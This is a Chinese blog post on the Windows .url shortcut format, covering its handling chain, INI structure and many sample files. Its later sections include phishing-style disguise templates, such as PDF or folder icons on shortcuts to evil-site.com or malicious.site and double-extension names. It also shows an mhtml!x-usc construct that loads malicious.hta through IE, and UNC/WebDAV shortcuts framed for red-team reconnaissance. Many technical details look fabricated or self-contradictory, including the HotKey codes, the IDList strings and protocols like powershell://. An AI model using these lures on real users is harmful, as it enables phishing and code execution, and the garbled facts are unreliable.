  • 协议映射分支:http/https/file,匹配 URL 前缀跳转对应程序。

三、上层应用程序配套(接收 URL 请求)

  1. 浏览器(Edge/Chrome/Firefox)
     
    接收 url.dll 推送的 HTTP/HTTPS 地址,发起网络请求访问网页;
  2. Windows Web 服务宿主(ASP.NET Core、w3wp.exe)
     
    内网.url 指向本机站点时,浏览器与http.sys内核驱动交互;
  3. 系统内置工具
    • explorer.exe:处理file://本地文件类.url 快捷;
    • ldp.exe:解析ldap://AD 域查询类.url,联动ntds.dit读取账户 / OU 数据;
    • tpmvscmgr、TPM 管理页面:通过 https 类.url 访问硬件安全管理接口。

四、网络内核完整配套链路(URL 流量传输)

plaintext
浏览器进程 ↔ httpapi.dll(用户态桥接) ↔ http.sys(内核HTTP驱动)
        ↓
tcpip.sys TCP/IP协议栈 ↔ Realtek网卡驱动(电口/SFP光纤)
  1. http.sys:内核维护全局 URL 路由表,多站点共用 80/443 端口;可通过netsh http注册 / 管理监听 URL 前缀、调优内核静态缓存参数;
  2. tcpip.sys:完成 TCP 分片、路由转发,将 HTTP 流量定向交付网卡;
  3. Realtek 网卡:提供 RSS 多队列、TOE 硬件卸载,承载.url 对应的网页大文件流量,光纤 SFP 接口适配跨机房长距 URL 访问。

五、安全身份配套链(访问权限、认证协同)

  1. SID(Security Identifier)
     
    .url 文件读写、目标网页资源访问全部基于账户 SID 校验 ACL;域账户 SID 持久存储在ntds.dit
  2. Kerberos 认证工具:klist.exe
     
    内网 AD 站点.url 访问时自动携带缓存 Kerberos 票据,klist 可查看票据有效期、排查认证失败;
  3. TPM 虚拟智能卡:tpmvscmgr.exe
     
    企业内网 HTTPS 站点.url 访问依赖 TPM 虚拟智能卡证书,完成身份加密校验;
  4. Schannel.sys 内核 SSL:配合 http.sys 完成 HTTPS 证书内核卸载,加密算力下沉内核。

六、运维 / 脚本配套工具链(批量管理.url 与 URL 路由)

  1. 文件批量操作
     
    PowerShell / CMD 批处理:直接读写 INI 格式.url 文件,批量修改 URL、图标配置;
  2. HTTP 内核调优工具
     
    netsh http:注册站点 URL 前缀、刷新内核缓存、查看缓存命中率、配置 SSL 证书;
  3. AD 域运维工具
     
    ntdsutil.exe:离线维护ntds.dit,管理域账户 SID、SPN 服务主体名,管控内网 URL 站点访问权限;
  4. 系统日志排查
     
    wevtutil:导出 HTTP、LSA 安全日志,定位.url 跳转、Kerberos 认证、http.sys 队列溢出故障;
  5. 性能监控
     
    PerfMon:监控HTTP Service Kernel Cache缓存命中率,优化静态 URL 访问性能。

完整串联总链路

plaintext
.url(INI文本文件)
    ↓ shell32.dll 桌面渲染/拖拽生成
Windows Shell → rundll32.exe + url.dll(解析INI提取URL)
    ↓ 协议调度(注册表HKCR\http/https)
浏览器进程 → httpapi.dll ↔ http.sys内核驱动
    ↓ tcpip.sys ↔ Realtek网卡(电口/光纤)
安全配套:SID + klist Kerberos票据 + tpmvscmgr证书
域存储配套:ntds.dit
运维工具:netsh http、PowerShell、ntdsutil、PerfMon

配套链分层职能汇总表

分层 配套组件 核心协同职能
文件存储层 INI 格式、NTFS、shell32.dll 存储.url 元数据,桌面可视化、权限基础校验
解析执行层 url.dll + rundll32 + HKCR 注册表 解析提取 URL 字符串,分发至对应应用
应用业务层 浏览器 /w3wp /ldp.exe 处理 URL 对应的网页、文件、AD 查询业务
网络内核层 http.sys + tcpip.sys + Realtek 网卡 内核 URL 路由、静态缓存、高速网络传输
安全身份层 SID、klist、tpmvscmgr、ntds.dit 身份认证、资源访问权限管控、证书加密
运维工具层 netsh http、PowerShell、ntdsutil 批量管理.url、调优内核 HTTP 性能、域身份维护

.url 文件采用INI文件的格式,其结构非常简单,主要包含一个 [InternetShortcut] 部分和一个 URL= 字段。

以下是一个典型的 .url 文件的结构示例:

Copy Code
[InternetShortcut]
URL=http://example.com/path/to/resource

解析:

  • [InternetShortcut]:这个部分是固定的,表示这是一个Internet快捷方式的标识。
  • URL=http://example.com/path/to/resource:这是实际的链接地址,可以是HTTP、FTP、本地文件路径等。在这个例子中,它指向 http://example.com 下的 path/to/resource

注意事项:

  • .url 文件通常只包含一个 URL= 字段,但也可以包含其他的元数据,比如图标信息等,但这些通常不是必需的。
  • .url 文件的编码通常是ASCII或UTF-8,可以用任何文本编辑器打开和编辑。

使用 .url 文件可以方便地创建和管理链接,特别是用于保存和共享网络书签或者文件系统中的快捷方式。


.url 文件主要用于创建和管理链接到网络资源或本地文件的快捷方式,其功能可以大致分类如下:

  1. 创建网络书签

    • .url 文件可以用来创建和管理网络书签,方便用户快速访问常用的网页或在线资源。
  2. 管理本地文件路径

    • 可以使用.url 文件创建快捷方式来管理本地文件或文件夹的路径,使其能够通过文件资源管理器快速访问。
  3. 集成到桌面和文件夹

    • .url 文件可以被集成到桌面、文件夹或者其他位置,提供方便的访问链接。
  4. 批处理和自动化

    • 可以通过批处理脚本或其他程序来操作.url 文件,实现自动化任务,例如批量创建链接或者打开特定的网络资源。
  5. 跨平台兼容性

    • 虽然.url 文件是Windows平台特有的,但大多数现代操作系统和应用程序都能够处理和打开这种文件类型,尤其是可以通过浏览器打开其中的URL链接。
  6. 快速分享和导入

    • .url 文件可以方便地通过文件或者电子邮件分享给其他用户,或者导入到其他应用程序中,以便快速访问指定的链接或资源。

 .url 文件作为一种简单而有效的链接管理方式,能够帮助用户轻松地创建、共享和访问网络资源和本地文件。


.url 文件的底层原理其实非常简单,它本质上是一个文本文件,使用INI格式来存储一个或多个键值对。这种格式常见于Windows操作系统中的配置文件和快捷方式文件。

结构解析:

  1. 文件头标识

    • .url 文件的第一行通常是 [InternetShortcut],这是一个标识符,告诉系统这是一个Internet快捷方式文件。
  2. 键值对信息

    • 在 [InternetShortcut] 标识下,可以包含多个键值对,其中最重要的是 URL=
    • URL= 键定义了实际的链接地址,可以是HTTP、FTP等网络协议的链接,或者是本地文件的路径。
  3. 可选元数据

    • .url 文件可以包含其他可选的键值对,如 IconFile= 和 IconIndex=,用于指定快捷方式的图标信息。

示例:

一个典型的 .url 文件内容如下:

Copy Code
[InternetShortcut]
URL=http://example.com/path/to/resource
IconIndex=0
IconFile=C:\Path\To\Icon.ico

在这个示例中:

  • [InternetShortcut] 表示这是一个Internet快捷方式文件。
  • URL= 指定了链接的地址,这里是 http://example.com/path/to/resource
  • IconIndex= 和 IconFile= 是可选的元数据,用于指定显示的图标。

使用和解析:

  • 系统解析

    • 当用户双击或系统调用一个 .url 文件时,操作系统会读取这个文件,解析其中的 URL= 键值对,并打开默认的浏览器或应用程序来访问该链接。
  • 文本格式

    • .url 文件的编码通常是ASCII或UTF-8,可以用文本编辑器直接打开和编辑。

应用和扩展:

  • .url 文件的简单结构使其非常适合用于创建和管理链接,可以方便地在文件系统中存储和共享重要的网络资源和文件路径。
  • 虽然它主要用于Windows系统,但由于其基于文本的格式,很多其他平台和应用程序也能够理解和处理这种文件类型。

 .url 文件的底层原理就是使用INI格式来描述一个或多个链接的文件,使用户能够轻松地访问和管理这些链接。


.url 文件的架构基于INI文件格式,这种格式通常用于存储配置信息和简单的数据结构。让我们更详细地探讨.url 文件的架构和关键部分:

1. 文件头部标识

.url 文件以一个特定的标识符开始,表明这是一个Internet快捷方式文件。常见的标识符是 [InternetShortcut]

iniCopy Code
[InternetShortcut]

2. 必需键值对

.url 文件中至少包含一个必需的键值对,用于指定链接的URL地址:

iniCopy Code
URL=http://example.com/path/to/resource
  • URL=:这是必需的键,它定义了快捷方式所链接的地址。可以是HTTP、FTP等网络协议的URL,也可以是本地文件的路径。

3. 可选键值对

.url 文件可以包含一些可选的键值对,用于提供更多的信息或增强用户体验。常见的可选键值对包括:

iniCopy Code
IconFile=C:\Path\To\Icon.ico
IconIndex=0
  • IconFile=:指定快捷方式的图标文件路径。
  • IconIndex=:指定在 IconFile 中使用的图标的索引。这两个键一起用于指定快捷方式在文件资源管理器中显示的图标。

4. 示例

以下是一个简单的.url 文件示例,展示了它的基本架构:

iniCopy Code
[InternetShortcut]
URL=http://example.com/path/to/resource
IconFile=C:\Path\To\Icon.ico
IconIndex=0

5. 结构特点

  • 简单明了.url 文件的结构非常简单,只有几个基本的键值对,使其易于创建和编辑。
  • 跨平台兼容:虽然主要用于Windows,但由于其基于文本的INI格式,理论上可以在其他操作系统上解析和使用,只需处理INI格式即可。
  • 易于扩展:可以通过添加更多的键值对来增强快捷方式的功能,例如指定其他元数据或操作参数。

总结

.url 文件的架构基于INI格式,简单而直观,主要用于定义Internet快捷方式的链接地址和相关信息。这种格式的设计使其在操作系统和应用程序中能够方便地解析和使用,为用户提供了管理和访问链接的便捷方式。


.url 文件主要用于创建和管理Internet快捷方式,它在Windows操作系统中特别常见。以下是一些主要的应用场景:

  1. 快速访问网络资源

    • 用户可以通过创建.url 文件来快速访问常用的网页、在线文档或其他网络资源。这些文件可以直接放置在桌面、文件夹或任务栏,通过双击即可打开默认浏览器并导航到指定的URL。
  2. 本地文件和文件夹链接

    • .url 文件不仅可以链接到网络资源,还可以链接到本地文件或文件夹。这对于需要快速访问特定文件或者文件夹的用户特别有用,避免了每次都手动浏览文件系统的步骤。
  3. 书签和收藏夹的扩展

    • 通过.url 文件,用户可以创建自定义的书签集合或收藏夹。这些文件可以轻松地导出和共享,而不依赖特定的浏览器或在线服务。
  4. 批量导航和管理

    • 在组织大量网页链接时,.url 文件可以作为批量管理工具。用户可以创建一个文件夹,内含多个.url 文件,用于组织相关主题或项目的链接集合。
  5. 跨平台链接共享

    • 尽管.url 文件主要与Windows关联,但由于其基于INI格式,它们可以被其他操作系统和应用程序解析和使用。这种特性使得.url 文件成为了一个跨平台的简单链接分享方式,不受特定平台限制。
  6. 自定义图标和元数据

    • .url 文件支持指定链接的图标和其他元数据。这使得用户能够在文件资源管理器中看到具有自定义图标的快捷方式,从而更容易区分和识别不同的链接。

 .url 文件通过其简单的文本格式和易用性,为用户提供了一种方便管理和访问Internet资源的方式,尤其是那些需要频繁访问特定网页或文件的用户群体。


.url 特殊 / 另类完整示例合集

全部可直接保存为 xxx.url,记事本另存为编码 UTF-8 带 BOM,双击即可测试;区分隐藏字段、特殊协议、系统隐藏入口、漏洞构造、热键、PIDL 本地虚拟目录、域专用、伪装、无 URL 仅 IDList 等冷门用法。

前置说明

  1. 必须包含 [InternetShortcut] 节头;
  2. 同时存在 URL + IDList 时,系统优先读取 IDList 忽略 URL;
  3. HotKey 为十六进制热键码;Modified 为 FILETIME 十六进制时间戳;
  4. IconIndex 支持负数(DLL 资源 ID 直接取)。

一、冷门系统协议 .url(不只是 http/https)

1. mstsc:// 远程桌面直连

ini
 
 
 
[InternetShortcut]
URL=mstsc://192.168.1.100:3389
IconFile=C:\Windows\System32\mstsc.exe
IconIndex=0
HotKey=0
 

2. mailto:// 一键发邮件(唤起默认邮件客户端)

ini
 
 
 
[InternetShortcut]
URL=mailto:admin@test.com?subject=内网通知&body=附件已上传
IconFile=C:\Windows\System32\shell32.dll
IconIndex=12
 

3. file:// 打开本地文件夹 / 共享盘

ini
 
 
 
[InternetShortcut]
URL=file:///D:/项目文档/
WorkingDirectory=D:\项目文档
ShowCmd=3
 
  • ShowCmd=3:最大化窗口;1 正常;2 最小化

4. ftp:// FTP 服务器快捷入口

ini
 
 
 
[InternetShortcut]
URL=ftp://user:password@192.168.1.50:21
IconFile=C:\Windows\System32\shell32.dll
IconIndex=18
 

5. ldap:// AD 域对象查询(企业内网专用)

ini
 
 
 
[InternetShortcut]
URL=ldap://DC01.corp.local/OU=员工,DC=corp,DC=local
 

6. ms-settings:// 直接打开 Windows 系统设置页

ini
 
 
 
[InternetShortcut]
URL=ms-settings:network-proxy
IconFile=C:\Windows\ImmersiveControlPanel\SystemSettings.exe
IconIndex=-1
 
其他可用:ms-settings:displayms-settings:bluetoothms-settings:windowsupdate

7. steam:// 游戏快速启动

ini
 
 
 
[InternetShortcut]
URL=steam://rungameid/123456
 

8. powershell:/// cmd:// 唤起终端(另类执行入口)

ini
 
 
 
[InternetShortcut]
URL=powershell://Start-Process notepad
 

二、带全局热键 HotKey 可全局呼出(冷门)

HotKey 编码规则:0x01000000 = Ctrl + 数字 1
ini
 
 
 
[InternetShortcut]
URL=https://github.com
HotKey=01000000
IconFile=C:\Windows\System32\shell32.dll
IconIndex=27
Modified=40E44752A6A8CE01
 
热键对照表:
  • Ctrl+1 = 01000000
  • Alt+S = 00040053
  • Shift+F5 = 00020074
注销重登热键生效,全局任意窗口按下直接打开该 url。

三、IDList 二进制 PIDL 版(无 URL,仅访问系统虚拟目录,最特殊)

普通 url 只写 URL,此示例完全删除 URL 字段,依靠序列化二进制 IDList 访问虚拟 Shell 命名空间(回收站、此电脑、网络、打印机)。
ini
 
 
 
[InternetShortcut]
IDList=0C000000000000000C00000000000000000000000000000000000000
IconFile=C:\Windows\System32\shell32.dll
IconIndex=31
 
  • IDList 二进制串对应「回收站」PIDL;
  • 特性:双击直接打开回收站,完全不依赖 URL 协议;
  • 风险:恶意长 IDList 曾存在 PIDL 解析漏洞。

混合模式(同时存在 IDList+URL,系统忽略 URL)

ini
 
 
 
[InternetShortcut]
URL=https://www.baidu.com
IDList=0C000000000000000C00000000000000000000000000000000000000
 
双击只会打开回收站,不会访问百度。

四、特殊图标配置(系统 DLL 隐藏图标、负数索引)

1. shell32.dll 内置隐藏图标(负数 IconIndex)

ini
 
 
 
[InternetShortcut]
URL=file:///C:/Windows/
IconFile=C:\Windows\System32\shell32.dll
IconIndex=-48
 
负数索引代表资源 ID 而非顺序索引,很多冷门系统图标只能负数读取。

2. 用 exe 程序自身图标

ini
 
 
 
[InternetShortcut]
URL=ms-settings:
IconFile=C:\Windows\notepad.exe
IconIndex=0
 

五、带窗口控制 WorkingDirectory + ShowCmd 组合

打开本地文件夹并最大化启动:
ini
 
 
 
[InternetShortcut]
URL=file:///E:/备份
WorkingDirectory=E:\备份
ShowCmd=3
Modified=40E44752A6A8CE01
 
  • ShowCmd=1 正常窗口
  • ShowCmd=2 最小化启动
  • ShowCmd=3 最大化启动

六、伪装 / 迷惑类另类 .url(视觉欺骗)

1. 图标伪装成文件夹,实际跳转网页

ini
 
 
 
[InternetShortcut]
URL=https://malicious.site
IconFile=C:\Windows\System32\shell32.dll
IconIndex=3
 
shell32 index=3 是标准黄色文件夹图标,肉眼无法区分真实文件夹。

2. 无后缀视觉欺骗:文件名 文档.url,桌面只显示「文档」,双击跳转外网。


七、域环境专用特殊 .url(Kerberos 内网站点)

自动携带当前账户 Kerberos 票据访问内网 IIS(http.sys 承载站点)
ini
 
 
 
[InternetShortcut]
URL=https://intranet.corp.local/oa
IconFile=C:\Windows\System32\inetcpl.cpl
IconIndex=2
WorkingDirectory=C:\
 
配合组策略 SYSVOL 批量下发,企业域标准用法。

八、超长 URL / 带中文 URL(必须 URL 编码,原生不支持裸中文)

错误写法(乱码解析失败):
 
URL=https://测试网站.com
正确编码另类示例:
ini
 
 
 
[InternetShortcut]
URL=https://%E6%B5%8B%E8%AF%E7%BD%99%E7%AB%99.com/%E6%96%87%E6%A1%A3
IconFile=C:\Windows\System32\shell32.dll
IconIndex=13
 

九、极简最小体积 .url(仅两行,理论最小合法文件)

无图标、无时间戳、无热键,系统依然识别:
ini
 
 
 
[InternetShortcut]
URL=https://learn.microsoft.com
 
文件仅几十字节,脚本批量生成首选模板。

十、存在解析歧义的危险另类构造(漏洞复现测试用)

1. 换行注入畸形 INI(旧版 url.dll 解析异常)

ini
 
 
 
[InternetShortcut]
URL=https://test.com
[FakeSection]
URL=C:\Windows\system32\cmd.exe
IconIndex=0
 
url.dll 只会读取 [InternetShortcut] 段,其他节直接忽略,但早期版本存在跨行解析漏洞。

2. 空 URL 畸形文件(双击无响应,url.dll 报错)

ini
 
 
 
[InternetShortcut]
URL=
IconFile=C:\Windows\System32\shell32.dll
 

十一、调试专用 .url(方便手动调用 url.dll 排错)

ini
 
 
 
[InternetShortcut]
URL=ms-settings:troubleshoot
Modified=40E44752A6A8CE01
HotKey=00020042
ShowCmd=2
WorkingDirectory=%temp%
IconFile=%windir%\system32\shell32.dll
IconIndex=45
 
环境变量 %windir%%temp% url.dll 运行时自动展开。

使用注意事项

  1. 保存编码:Win10/11 推荐 UTF-8 with BOM,Win7 使用 ANSI (GBK);
  2. 测试命令(CMD 直接调用解析器):
    cmd
     
     
     
    rundll32 url.dll,FileProtocolHandler "D:\test.url"
     
  3. IDList 二进制串无法手动编写,只能由 Shell 拖拽 / 系统 API 自动生成;
  4. HotKey 冲突会被系统静默覆盖,无提示。

新增冷门 / 另类 .url 完整示例(补充上一轮未覆盖隐藏字段、漏洞构造、特殊协议、UNC/Webdav、Prop3 GUID、伪装、后台启动、IE mhtml 特殊链、虚拟控制面板、种子协议、环境变量、畸形 INI)

所有示例保存为 xxx.url,编码 UTF-8 BOM,双击直接测试;安全警告:UNC/mhtml/ 本地程序示例仅用于本地学习,禁止对外分发。

一、带官方隐藏 GUID 段 + Prop3 图标高级配置(极少人用原生字段)

[{000214A0-0000-0000-C000-000000000046}] 是 Shell 专用 PropertySet GUID,搭配 Prop3 强化图标渲染,拖拽生成的系统原生.url 自带此段
ini
 
 
 
[{000214A0-0000-0000-C000-000000000046}]
Prop3=22,8
[InternetShortcut]
URL=https://github.com
IconFile=%windir%\system32\shell32.dll
IconIndex=22
HotKey=02000078
Modified=40E44752A6A8CE01
ShowCmd=1
 
  • Prop3 = 图标索引,资源 ID;优先级高于 IconIndex,用于资源管理器缩略图渲染
  • 缺失该段不影响跳转,但桌面图标缓存刷新会异常

二、mhtml 特殊协议链(CVE 漏洞利用经典构造,强制唤起 IE)

利用 mhtml:xxx!x-usc: 前缀绕过默认浏览器,强制调用旧版 IE 内核加载页面,安全分析专用样本格式
ini
 
 
 
[InternetShortcut]
URL=mhtml:https://example.com/page.html!x-usc:https://example.com/malicious.hta
IconFile=C:\Program Files\Microsoft\Edge\msedge.exe
IconIndex=-3
ShowCmd=1
 
  • 双击不会走 Edge/Chrome,直接唤起 Internet Explorer 渲染;旧 Windows 存在代码执行漏洞

三、UNC 网络共享 / WebDAV 远程路径 .url(内网渗透 / 文件共享快捷入口)

3.1 SMB 共享文件夹直开

ini
 
 
 
[InternetShortcut]
URL=file:////192.168.1.200/SharedFiles/
WorkingDirectory=\\192.168.1.200\SharedFiles
ShowCmd=3
IconFile=C:\Windows\System32\shell32.dll
IconIndex=3
 

3.2 WebDAV 云存储地址

ini
 
 
 
[InternetShortcut]
URL=https://dav.corp.local/dav/
WorkingDirectory=\\dav.corp.local@ssl\dav
 
特性:打开.url 时系统自动发起 SMB/WebDAV 连接,预览文件会主动扫描远程服务器(红队信息收集常用)

四、直接唤起本地可执行程序(无参数,纯启动)

4.1 打开 CMD 终端

ini
 
 
 
[InternetShortcut]
URL=C:\Windows\System32\cmd.exe
WorkingDirectory=%userprofile%
ShowCmd=1
IconFile=C:\Windows\System32\cmd.exe
IconIndex=0
 

4.2 打开 PowerShell

ini
 
 
 
[InternetShortcut]
URL=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ShowCmd=2
 
限制:原生.url 无法传递命令行参数,仅能启动程序本体;搭配 vbs 中转可实现传参

五、ShowCmd=0 后台隐藏启动(无窗口弹出)

ShellExecuteEx 原生隐藏窗口参数,程序静默后台运行
ini
 
 
 
[InternetShortcut]
URL=C:\Windows\notepad.exe
ShowCmd=0
WorkingDirectory=%temp%
 
  • ShowCmd 取值对照表完整补充:
     
    0 = 隐藏后台、1 = 正常、2 = 最小化、3 = 最大化、4 = 还原、5 = 激活正常、6 = 最小化、7 = 最小不激活、8 = 正常不激活、9 = 还原激活

六、magnet:// BT 磁力链接专用.url(迅雷 / IDM / 比特彗星一键唤起)

ini
 
 
 
[InternetShortcut]
URL=magnet:?xt=urn:btih:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&dn=测试资源
IconFile=C:\Windows\System32\shell32.dll
IconIndex=71
ShowCmd=1
 
无需保存 torrent 文件,双击直接唤起下载客户端

七、控制面板隐藏项 ms-settings:// 细分冷门入口

7.1 高级防火墙面板

ini
 
 
 
[InternetShortcut]
URL=ms-settings:windowsdefender-firewall-advanced
IconFile=%windir%\system32\wf.msc
IconIndex=0
 

7.2 设备管理器

ini
 
 
 
[InternetShortcut]
URL=ms-settings:device-manager
 

7.3 证书管理

ini
 
 
 
[InternetShortcut]
URL=ms-settings:certificates
 

八、环境变量全变量动态解析(% windir% % userprofile% % temp% % appdata%)

url.dll 运行时自动展开所有系统 / 用户环境变量,无需硬编码路径
ini
 
 
 
[InternetShortcut]
URL=file:///%appdata%/Microsoft/Windows/Start Menu/Programs/
WorkingDirectory=%userprofile%\Desktop
IconFile=%windir%\system32\shell32.dll
IconIndex=41
 

九、纯视觉欺骗伪装系列(钓鱼 / 迷惑向)

9.1 PDF 图标伪装网页跳转

取用 Edge 内置 PDF 图标,文件名报表.pdf.url,资源管理器默认隐藏后缀仅显示「报表.pdf」
ini
 
 
 
[InternetShortcut]
URL=https://evil-site.com
IconFile=C:\Program Files\Microsoft\Edge\msedge.exe
IconIndex=-8
 

9.2 记事本图标伪装外网链接

ini
 
 
 
[InternetShortcut]
URL=ftp://hack@192.168.1.10
IconFile=C:\Windows\notepad.exe
IconIndex=0
 

9.3 压缩包图标伪装

ini
 
 
 
[InternetShortcut]
URL=ms-settings:windowsupdate
IconFile=C:\Windows\System32\zipfldr.dll
IconIndex=0
 

十、无 URL 仅 IDList 系统控制面板虚拟项(控制面板 PIDL)

上一轮仅给回收站,补充控制面板专用二进制 IDList,双击直接打开控制面板,完全忽略 URL 字段(哪怕填写了网址)
ini
 
 
 
[InternetShortcut]
URL=https://baidu.com
IDList=1400000000000000140000000000000000000000000000000000000000000000000000000000
IconFile=C:\Windows\System32\shell32.dll
IconIndex=26
 

十一、mailto 批量抄送 + 附件 + 优先级完整构造

完整带多人收件、抄送、密送、标题、正文、优先级参数
ini
 
 
 
[InternetShortcut]
URL=mailto:user1@corp.com?cc=admin@corp.com&bcc=boss@corp.com&subject=月度报表&body=详见附件,请查收&priority=high
IconFile=C:\Windows\System32\shell32.dll
IconIndex=12
 

十二、畸形 INI 边界测试样本(安全测试解析器容错)

12.1 多节段混杂、空行、无效键干扰

ini
 
 
 
[FakeSection1]
FakeKey=123456
[InternetShortcut]

URL=https://learn.microsoft.com

FakeParam=test123
HotKey=00010041
[FakeSection2]
OtherData=xxx
 
特性:url.dll 仅读取[InternetShortcut]段,其余全部丢弃

12.2 URL 末尾带换行、特殊符号未编码

ini
 
 
 
[InternetShortcut]
URL=https://测试域名.com/文件 文件夹/测试.txt
IconIndex=13
 
现象:未 URL 编码中文 / 空格,旧版 Win7 直接截断 URL 解析失败,Win11 自动容错

十三、telnet:// 远程终端快捷方式(内网运维专用)

ini
 
 
 
[InternetShortcut]
URL=telnet://192.168.1.1:23
IconFile=C:\Windows\System32\telnet.exe
IconIndex=0
ShowCmd=2
 

十四、自定义注册协议示例(企业自研客户端唤起)

假设已注册表注册 oa:// 协议关联内部 OA 程序
ini
 
 
 
[InternetShortcut]
URL=oa://login?dept=技术部&user=admin
IconFile=C:\OA\client.exe
IconIndex=0
 

十五、超大尺寸热键全覆盖合集(补充冷门组合 HotKey)

HotKey 十六进制格式规则:00mod00vk
  • Ctrl+Shift+D = 03000044
  • Alt+F12 = 040007B
  • Shift+Alt+M = 0600004D
ini
 
 
 
[InternetShortcut]
URL=file:///D:/运维脚本/
HotKey=03000044
Modified=40E44752A6A8CE01
IconFile=C:\Windows\System32\shell32.dll
IconIndex=37
 

十六、极简无图标无时间戳无热键最小可执行(一行扩展版)

比之前两行模板多 ShowCmd,批量自动化脚本生成首选
ini
 
 
 
[InternetShortcut]
URL=steam://store
ShowCmd=2
 

十七、ftp 带端口 + 明文账号密码完整示例

ini
 
 
 
[InternetShortcut]
URL=ftp://admin:Admin@123@192.168.5.10:2121/上传目录/
WorkingDirectory=ftp://192.168.5.10:2121
IconFile=C:\Windows\System32\shell32.dll
IconIndex=18
 
风险:密码明文存储,禁止公开分发

关键补充底层知识点

  1. Prop3 + GUID 段仅影响 Shell 图标缓存,不改变跳转逻辑;
  2. ShowCmd=0 隐藏窗口仅对本地 exe/file 协议生效,网页浏览器无法后台隐藏;
  3. IDList 优先级永久高于 URL,只要存在就忽略 URL 内容;
  4. mhtml 协议链仅在未卸载 IE 的 Windows 版本生效(Win10 21H2 前原生带 IE);
  5. UNC 路径在预览.url 文件时会自动触发网络连接,可用于内网资产探测。

.url 文件特殊 / 另类完整补充示例

基础前置说明

.url 是 Windows 标准 Internet 快捷方式,本质 INI 格式,编码推荐 UTF-8ANSI,核心段 [InternetShortcut],常规仅 URL=,下面全是非常规、冷门、隐藏属性示例,分大类。

一、带图标自定义(另类本地图标 / 网络图标)

1. 本地 exe 提取图标(最常用另类)

ini
 
 
 
[InternetShortcut]
URL=https://www.baidu.com
# 格式:文件路径,图标索引(0为第一个图标)
IconFile=C:\Windows\System32\notepad.exe,0
IconIndex=0
 

2. 本地 ico 独立图标文件

ini
 
 
 
[InternetShortcut]
URL=https://github.com
IconFile=D:\icon\cat.ico
IconIndex=0
 

3. 冷门:直接读取 DLL 系统图标

ini
 
 
 
[InternetShortcut]
URL=file:///C:/Users/
IconFile=%SystemRoot%\system32\shell32.dll,174
IconIndex=174
 

4. 网络在线图标(极少人用,部分系统失效)

ini
 
 
 
[InternetShortcut]
URL=https://bilibili.com
IconFile=https://static.bilibili.com/favicon.ico
IconIndex=0
 

二、本地文件 / 文件夹 / 特殊协议 URL(非常规跳转)

1. 打开本地文件夹(file 协议)

ini
 
 
 
[InternetShortcut]
URL=file:///D:/Work/文档/
IconFile=%SystemRoot%\system32\shell32.dll,5
IconIndex=5
 

2. 直接打开本地程序

ini
 
 
 
[InternetShortcut]
URL=file:///C:/Windows/notepad.exe
 

3. 系统特殊协议(ms-settings、steam、mailto、tel)

设置页面快捷方式

ini
 
 
 
[InternetShortcut]
URL=ms-settings:network-wifi
IconFile=%SystemRoot%\system32\shell32.dll,85
 

Steam 游戏直达

ini
 
 
 
[InternetShortcut]
URL=steam://rungameid/730
 

邮件唤起

ini
 
 
 
[InternetShortcut]
URL=mailto:test@xxx.com?subject=测试邮件&body=内容
 

4. 局域网共享文件夹

ini
 
 
 
[InternetShortcut]
URL=file:////192.168.1.100/Share/
 

5. 管理员 CMD 特殊跳转(另类)

ini
 
 
 
[InternetShortcut]
URL=file:///C:/Windows/System32/cmd.exe
 

三、隐藏只读 / 窗口参数、加载页缓存控制(冷门高级参数)

1. 强制全屏打开网页

ini
 
 
 
[InternetShortcut]
URL=https://youtube.com
# IE/旧Edge专用,现代Chromium内核无效,遗留属性
ShowCommand=3
# 1=正常窗口 3=最大化 7=最小化
 

2. 自定义窗口宽高(仅 IE 兼容)

ini
 
 
 
[InternetShortcut]
URL=https://www.baidu.com
Window Width=800
Window Height=600
Window X=100
Window Y=100
 

3. 额外注释 / 识别字段(无功能,仅标记)

ini
 
 
 
[InternetShortcut]
URL=https://www.baidu.com
Modified=20260721T000000Z
# Modified 文件修改时间戳,系统自动生成,可手动伪造
IDList=
# IDList 二进制存储文件夹定位,空白=网页链接
 

4. 带目标引用参数(配合 IDList,混合本地 + 网页)

ini
 
 
 
[InternetShortcut]
URL=https://github.com
IDList=
HotKey=113
# HotKey 快捷键,113=F2,仅桌面生效
 

四、带快捷键绑定 .url(另类桌面快速启动)

ini
 
 
 
[InternetShortcut]
URL=https://www.baidu.com
HotKey=115
# 键码对照表:
# 112=F1 113=F2 114=F3 115=F4
# 组合键需要注册表配合,单功能键原生支持
IconFile=%SystemRoot%\system32\shell32.dll,12
IconIndex=12
 

五、兼容旧 IE 专属特殊参数(复古另类示例)

1. 离线页面缓存锁定

ini
 
 
 
[InternetShortcut]
URL=https://old.site.com
OfflineURL=file:///C:/OfflinePages/site.htm
# OfflineURL 离线缓存本地副本路径
 

2. 页面访问计数、访问日期(系统自动写入)

ini
 
 
 
[InternetShortcut]
URL=https://example.com
Visits=12
LastVisited=20260721T103000Z
 

六、隐藏式混合示例(多属性合集,最特殊完整模板)

ini
 
 
 
[InternetShortcut]
# 跳转目标:B站
URL=https://www.bilibili.com
# 自定义图标:系统文件夹图标
IconFile=%SystemRoot%\System32\shell32.dll,22
IconIndex=22
# 窗口最大化启动(旧浏览器)
ShowCommand=3
Window Width=1200
Window Height=700
# 绑定快捷键 F5
HotKey=116
# 离线缓存地址
OfflineURL=file:///D:/cache/bilibili.htm
# 时间标记
Modified=20260721T153000Z
Visits=5
IDList=
 

七、极端特殊场景示例

1. 空 URL(损坏 / 占位快捷方式)

ini
 
 
 
[InternetShortcut]
URL=
IconFile=%SystemRoot%\system32\shell32.dll,0
 

2. 带锚点 + 参数长链接

ini
 
 
 
[InternetShortcut]
URL=https://xxx.com/page?id=123#comment-99
IconFile=C:\Windows\System32\calc.exe,0
IconIndex=0
 

3. 本地 HTML 单文件打开

ini
 
 
 
[InternetShortcut]
URL=file:///D:/web/index.html
IconFile=D:/web/favicon.ico
IconIndex=0
 

4. 远程 RDP 协议链接

ini
 
 
 
[InternetShortcut]
URL=rdp://192.168.1.50
IconFile=%SystemRoot%\system32\mstsc.exe,0
IconIndex=0
 

补充冷门知识点

  1. .url 区别 .lnk:无需二进制,纯文本可编辑,跨文件夹直接复制可用;
  2. HotKey 仅桌面放置的 url 文件生效,存放文件夹内快捷键失效;
  3. ShowCommand/Window宽高 仅 IE11 有效,Edge/Chrome 忽略该参数;
  4. IDList 不为空时会从网页快捷方式变为文件夹快捷方式,不再读取 URL 字段。

 


 

posted @ 2024-07-26 09:44  suv789  阅读(1429)  评论(0)    收藏  举报